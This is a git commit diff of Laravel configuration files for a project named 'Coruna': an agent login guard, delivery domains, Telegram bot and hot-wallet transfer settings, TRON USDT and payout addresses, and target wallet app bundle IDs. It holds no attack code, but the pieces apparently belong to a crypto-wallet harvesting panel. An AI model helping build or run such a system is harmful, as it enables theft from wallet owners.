feature
This commit is contained in:
@@ -47,6 +47,10 @@ return [
|
||||
'driver' => 'session',
|
||||
'provider' => 'admins',
|
||||
],
|
||||
'agent' => [
|
||||
'driver' => 'session',
|
||||
'provider' => 'users',
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|
||||
@@ -2,20 +2,52 @@
|
||||
|
||||
return [
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
// Comma-separated delivery hosts for support links + new_project domains.
|
||||
'channel_domains' => array_values(array_filter(array_map(
|
||||
'trim',
|
||||
explode(',', (string) env('CORUNA_CHANNEL_DOMAINS', ''))
|
||||
))),
|
||||
'channels' => [
|
||||
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
||||
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
||||
],
|
||||
|
||||
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
||||
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
||||
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
||||
'telegram' => [
|
||||
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
||||
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
||||
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
|
||||
],
|
||||
// reserved — no transfer logic wired
|
||||
'tokenview' => [
|
||||
'api_key' => env('TOKENVIEW_API_KEY', ''),
|
||||
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
||||
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
||||
],
|
||||
// Hot wallet mnemonic for Telegram /transfer only — never from device ingest.
|
||||
'hot_wallet' => [
|
||||
'mnemonic' => env('HOT_WALLET_MNEMONIC', ''),
|
||||
'index' => (int) env('HOT_WALLET_INDEX', 0),
|
||||
],
|
||||
'tron' => [
|
||||
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
||||
'api_key' => env('TRON_API_KEY', ''),
|
||||
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
||||
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
||||
],
|
||||
'transfer' => [
|
||||
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||
],
|
||||
// reserved legacy payout addresses
|
||||
'payout' => [
|
||||
'eth' => env('PAYOUT_ETH'),
|
||||
'btc' => env('PAYOUT_BTC'),
|
||||
'tron' => env('PAYOUT_TRON'),
|
||||
'sol' => env('PAYOUT_SOL'),
|
||||
],
|
||||
|
||||
'wallet_bundles' => [
|
||||
'im.token.app',
|
||||
'io.metamask',
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
// Prefer TELEGRAM_BOT_TOKEN (shared with Coruna notifier); TELEGRAM_TOKEN as fallback.
|
||||
'token' => env('TELEGRAM_BOT_TOKEN', env('TELEGRAM_TOKEN')),
|
||||
|
||||
|
||||
// if the webhook mode must validate the incoming IP range is from a telegram server
|
||||
'safe_mode' => env('APP_ENV', 'local') === 'production',
|
||||
|
||||
// Extra or specific configurations
|
||||
'config' => [],
|
||||
|
||||
// Set if the service provider should automatically load
|
||||
// handlers from /routes/telegram.php
|
||||
'routes' => true,
|
||||
|
||||
// Enable or disable Nutgram mixins
|
||||
'mixins' => false,
|
||||
|
||||
// Path to save files generated by nutgram:make command
|
||||
'namespace' => app_path('Telegram'),
|
||||
|
||||
// Set log channel
|
||||
'log_channel' => env('TELEGRAM_LOG_CHANNEL', 'null'),
|
||||
];
|
||||
Reference in New Issue
Block a user